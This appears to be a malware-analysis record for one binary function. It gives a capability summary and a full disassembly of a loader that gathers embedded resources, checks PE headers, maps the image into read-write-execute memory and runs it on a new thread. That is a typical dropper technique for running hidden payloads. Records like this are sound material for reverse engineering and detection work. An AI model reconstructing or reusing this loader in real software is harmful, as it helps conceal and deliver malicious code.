Function at 0x140004230
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
xor edx, edx
xor ecx, ecx
call fcn.140038070
xor r13d, r13d
xor ecx, ecx
mov r15d, r13d
mov r12d, r13d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14006d020]
mov edx, 0x3e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140004502
lea rbx, [r13 - 1]
nop word [rax + rax]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x140004502
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, r15d
mov rcx, rsi
add edx, eax
cmovb rdx, rbx
call fcn.140038070
mov rsi, rax
test rax, rax
je 0x140004502
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, r15d
mov r8d, ebx
add rcx, rsi
mov rdx, rax
call fcn.14002b200
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
inc r12d
xor ecx, ecx
add r15d, eax
mov eax, 0x3e8
add eax, r12d
movzx ebx, ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14006d020]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
jne 0x1400042a0
test r12d, r12d
je 0x140004502
test r15d, r15d
je 0x140004502
lea r8, [rbp + 0x77]
mov dword [rbp + 0x77], r13d
mov edx, r15d
mov rcx, rsi
call fcn.140004540
mov rdi, rax
test rax, rax
je 0x1400044f9
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x1400044f9
mov qword [rbp - 0x61], rax
mov eax, 0x5a4d
mov qword [rbp - 0x51], r13
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x69], rdi
mov qword [rbp - 0x59], rdi
cmp word [rdi], ax
jne 0x14000450e
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
mov qword [rbp - 0x51], rbx
cmp dword [rbx], 0x4550
jne 0x14000450e
lea rax, [rbx + 0x90]
mov qword [rbp - 0x49], rax
lea rdx, [rbx + 0xd0]
mov qword [rbp - 0x41], rdx
lea r8, [rbx + 0xb0]
mov qword [rbp - 0x39], r8
lea rcx, [rbx + 0xa0]
mov qword [rbp - 0x31], rcx
lea r14, [rbx + 0x108]
mov qword [rbp - 0x29], r14
test rbx, rbx
je 0x14000450e
test rax, rax
je 0x14000450e
test rdx, rdx
je 0x14000450e
test r8, r8
je 0x14000450e
test rcx, rcx
je 0x14000450e
test r14, r14
je 0x14000450e
mov edx, dword [rbx + 0x50]
mov r9d, 0x40
mov rcx, qword [rbx + 0x30]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140004473
mov edx, dword [rbx + 0x50]
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x14000450e
movaps xmm0, xmmword [rbp - 0x69]
lea rcx, [rbp - 0x19]
movaps xmm1, xmmword [rbp - 0x59]
mov r8, rsi
movaps xmmword [rbp - 0x19], xmm0
mov rdx, rdi
movaps xmm0, xmmword [rbp - 0x49]
movaps xmmword [rbp + 7], xmm0
movsd xmm0, qword [rbp - 0x29]
movaps xmmword [rbp - 9], xmm1
movaps xmm1, xmmword [rbp - 0x39]
movsd qword [rbp + 0x27], xmm0
movaps xmmword [rbp + 0x17], xmm1
call fcn.140006120
mov rbx, rax
test rax, rax
je 0x14000450e
mov r8d, dword [r14 + 0xc]
xor edx, edx
mov rcx, rsi
call fcn.14002b8b0
mov rcx, rdi
call fcn.14003b348
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000450e
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000450e
lea rcx, str._x__DATA_COULD_NOT_BE_VERIFIED_n
jmp 0x140004509
lea rcx, str._x__DATA_DOES_NOT_EXIST_n
call fcn.140001430
lea r11, [rsp + 0xd0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret